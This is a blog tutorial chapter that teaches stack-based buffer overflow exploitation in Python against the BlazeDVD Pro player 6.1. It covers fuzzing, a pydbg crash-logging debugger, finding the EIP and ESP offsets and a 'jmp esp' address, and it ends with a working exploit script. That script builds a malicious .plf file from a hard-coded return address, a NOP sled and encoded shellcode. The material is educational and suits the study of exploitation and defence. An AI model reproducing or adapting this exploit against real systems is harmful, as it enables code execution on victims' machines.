Post List

Monday, November 26, 2018

27.Python Stack-Based Buffer Overflow


27.1 Introduction


 Figure 27-1 Stack Based Buffer Overflow Basic Concept

Stack-based buffer overflow techniques takes advantage of the features of the register. Fuzzing repeatedly attacks an application by changing the input value in an attempt to cause a Buffer Overflow error. The state of the memory is observed at that time using a debugger to search for input values that to induce the intended result.

A stack-based buffer overflow technique mainly uses the EIP and ESP registers. First, the two registers are overwritten with input values, and you must determine the amount of data that will be required to overwrite the two registers. The second thing to do is to find the instruction address that can move the application execution flow to the ESP register. Finally, add the hacking code to the input value and run hacking routine.

Let's take a look at the detailed behavior of the stack-based buffer overflow. The value that is to be entered in the application should be prepared through iterative fuzzing. If you enter the value that is prepared in the application, the hacking code will be executed as follows.
Figure 27-2 Stack Based Buffer Overflow behavior

Insert the hacking code into the stack area indicated by ESP. Insert the address for the “jmp esp” instruction into the EIP. The address is entered as part of the input value. The program is executed where the buffer overflow occurs and refers to the EIP register address. In other words, the “jmp esp” command is executed. Since the ESP register has a hacking code, it is possible to perform the operations that the hacker intended.

The following code can be executed under Windows XP (it does not work in a Windows 7 environment). However, since you can easily understand the buffer overflow concept by looking at the code, let's take a look at it. Windows 7 applies ASLR (Address Space Layout Randomization) for security reasons, which monitors any address other than the correct address to for use with the DLL. This example operates normally until you find the address for the “jmp esp” command (actually any address).

27.2 Fuzzing and Debugging

The site “http://www.exploit-db.com/” describes numerous exploits. Refer to “http://www.exploit-db.com/exploits/26889”, which was used to hack the “BlazeDVD Pro player 6.1” program. From the site, you can download both the hacking source code (Exploit Code) and the target application (Vulnerable App).

The “BlazeDVD Pro player” is a program that runs a “plf” file. Create a “plf” file that has repeated letters “a” and try fuzzing. First, create a file that has “\x41”, which corresponds to the hex code for the “a” character.

junk ="\x41"*500
x=open('blazeExpl.plf', 'w')
x.write(junk)
x.close()

Let's create a file with 500 characters. If no errors occur, continue the test while increasing the number of repetitions. When you open the “blazeExpl.plf” file by running the application, the following error occurs, the program is terminated, and the buffer overflow error will occur.

Figure 27-3 Execution Result

Now that we have succeeded in fuzzing, let's create a debugger that can determine the memory status. Use the “pydbg” module that was discussed in the previous chapter. Before running the debugger, you must run the “BlazeDVD Player” first. Look at the processes tab in the Task manager to confirm that the process name has been entered into the debugger.

from pydbg import *
from pydbg.defines import *
import struct
import utils

processName = "BlazeDVD.exe"                         #(1)
dbg = pydbg()

def handler_av(dbg):                                 #(2)
    crash_bin = utils.crash_binning.crash_binning()  #(3)
    crash_bin.record_crash(dbg)                       #(4)
    print crash_bin.crash_synopsis()                  #(5)
    dbg.terminate_process()                           #(6)
for(pid, name) in dbg.enumerate_processes():         #(7)
    if name == processName:
        print "[information] dbg attach:" + processName
        dbg.attach(pid)
       
print "[information] start dbg"
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION, handler_av)     #(8)
dbg.run()

Make a debugger that is similar to the API Hooking technique, and declare a callback function and register it in the pydbg class. The detailed operation method is as follows.

(1) Setting Process Name: Check the name of the application in the “Processes” tab in Task Manager.

(2) Declaring callback function: Declare the callback function that will be called when the event occurs.

(3) Creating crash_binning Object: Create a “crash_binning” object that can confirm the memory state and the register value when the event occurs.

(4) Saving the State Value at the Time of the Event: Save Information (assembly instructions, the state of the stack and registers, the status of the SEH) around the address where the event occured.

(5) Printing the State Value: Print the state values stored at the time that the event occurred on the screen.

(6) Process Termination: Terminate the process that caused a buffer overflow.

(7) Extracting the Process ID and Obtaining a Process Handle: Derive the process ID according to the name that had been previously set. Obtain the handle corresponding to the ID and save it in the pydbg class.

(8) Setting callback function: Register the event, and set a callback function that will be called when the event occurs.

Now let's run the debugger. As previously mentioned, open the BlazeDVD Player first, and the debugger will operate normally. Proceed in the order of [run BlazeDVD Player] -> [run bufferOverflowTest.py] -> [open blazeExpl.plf]. As soon as the file is opened, the application stops and the debugger prints the following message.

 Figure 27-4 bufferOverflowTest.py Result

The messages are divided into four regions. The first is an error message that shows the thread information that caused an error with the error information. The second is the CONTEXT DUMP area. It shows register information that is used during the process execution. The third is the disasm area. About 10 assembler instructions are shown around the address where the error occurred. The last area is the SEH (structured exception handling) unwind. SEH is provided by the Windows OS and prints out results by tracing the link information related to the exception handling. The area of interest here is the CONTEXT DUMP area. As the input value is adjusted, let’s look at the changes in the data that is stored in the EIP and in the ESP.

27.3 EIP Overwrite

Since the characters that are entered for fuzzing are a series of the same characters, it is therefore impossible to know when the data enters the EIP. Let's track the flow of data through the input string with a specified rule. You can generate a pattern by using a Ruby Script, but for a simple test, let’s make it using a text editor.

Figure 27-5 Test String

The UltraEdit program supports column mode editing. Copy “abcdefghijklmnlopqrstuvwxyz” for 10 lines. Change into the column mode and copy in order from 0 to 9 for each column. Then make the above string into one line to recreate the fuzzing program.

The same as that above can be use to run the debugging application. If you look at the CONTEXT DUMP area, you can see that the EIP register contains a value of “65356435”. This value is in hex code, and the code transformation is necessary to know where the test string is located.

Figure 27-6 Debugging Result

In Python, code can be converted using a simple function. The result of a converstion into ASCII code is “e5d5”. Since addresses go in the direction opposite to the input, the string then becomes “5d5e”. Find the “5d5e” starting position in the test string. 

Figure 27-7 Code Conversion

EIP is updated with the 8 bytes from the address line 261 of the test string.

5.5.4 ESP Overwrite

Now fill in the value of the ESP register that will store the instructions, and perform the test in the same way. The first 260 bytes of data cause an overflow, and the next four bytes are the EIP address. The front 260 bytes are filled with “a” and the remaining four bytes are filled with “b”. Finally, let's debug it with a test string.

The results indicate that the ESP register contains a string that begins with “i0”. It is the 17th value from the test string. Fill the previous 16 bytes with any value, and fill the remaining bytes wth the hacking code. Thereore it is now possible to easily succeed in hacking the program.

Figure 27-8 Debugging Result

Now that you have completed most of the input necessary for the hack, plase the “jmp esp” address instruction in the second line, and put a hex code indicating “NOPS” in the third line. Then, insert the hacking code in the last line. 

Figure 27-9 String for Hacking

27.5 Find the jmp esp instruction address

You must find the address of the “jmp esp” instruction that has been loaded into memoy. Although a variety of techniques can be used, let's use the simplest “findjmp.exe” program. The program can be easily found through an Internet search, for example in the “http://ragonfly.tistory.com/entry/jmp-esp-program” site. It is very simple to use the program. Go to the directory where the “fiindjmp.exe” file is located by opening the command prompt in Windows, and just type the following command.

 Figure 27-10 Find jmp esp instruction address


“findjmp” receives two arguments, the first is a DLL to find the instruction and the second is the register names. Let's use the most commonly referenced “kernel32.dll” in the program. Multiple “jmp esp” addresses are detected by using the very first value.

27.6 Execution of the attack

Although briefly mentioned earlier, the last line of code does not operate properly. In order to prevent a buffer overflow attack in Windows, features such as DEP (Data Execution Prevention) and Stack Protection have been added. If you want to verify that the program operates correctly, it is necessary to test by installing Windows XP SP1. Next, let's look at advanced buffer overflow techniques that can bypass the enhanced security features in Windows 7.

from struct import pack
junk ="\x41"*260
junk+="\x77\x4F\xFB\x76"
junk+="\x90"*16              
junk+=("\xd9\xc8\xb8\xa0\x47\xcf\x09\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x32\x31\x47\x17\x83\xc7\x04\x03\xe7\x54\x2d\xfc\x1b" +
"\xb2\x38\xff\xe3\x43\x5b\x89\x06\x72\x49\xed\x43\x27\x5d" +
"\x65\x01\xc4\x16\x2b\xb1\x5f\x5a\xe4\xb6\xe8\xd1\xd2\xf9" +
"\xe9\xd7\xda\x55\x29\x79\xa7\xa7\x7e\x59\x96\x68\x73\x98" +
"\xdf\x94\x7c\xc8\x88\xd3\x2f\xfd\xbd\xa1\xf3\xfc\x11\xae" +
"\x4c\x87\x14\x70\x38\x3d\x16\xa0\x91\x4a\x50\x58\x99\x15" +
"\x41\x59\x4e\x46\xbd\x10\xfb\xbd\x35\xa3\x2d\x8c\xb6\x92" +
"\x11\x43\x89\x1b\x9c\x9d\xcd\x9b\x7f\xe8\x25\xd8\x02\xeb" +
"\xfd\xa3\xd8\x7e\xe0\x03\xaa\xd9\xc0\xb2\x7f\xbf\x83\xb8" +
"\x34\xcb\xcc\xdc\xcb\x18\x67\xd8\x40\x9f\xa8\x69\x12\x84" +
"\x6c\x32\xc0\xa5\x35\x9e\xa7\xda\x26\x46\x17\x7f\x2c\x64" +
"\x4c\xf9\x6f\xe2\x93\x8b\x15\x4b\x93\x93\x15\xfb\xfc\xa2" +
"\x9e\x94\x7b\x3b\x75\xd1\x7a\xca\x44\xcf\xeb\x75\x3d\xb2" +
"\x71\x86\xeb\xf0\x8f\x05\x1e\x88\x6b\x15\x6b\x8d\x30\x91" +
"\x87\xff\x29\x74\xa8\xac\x4a\x5d\xcb\x33\xd9\x3d\x0c"
x=open('blazeExpl.plf', 'w')
x.write(junk)
x.close() 






No comments:

Post a Comment

27.Python Stack-Based Buffer Overflow

27.1 Introduction   Figure 27-1 Stack Based Buffer Overflow Basic Concept Stack-based buffer overflow techniques takes advantage...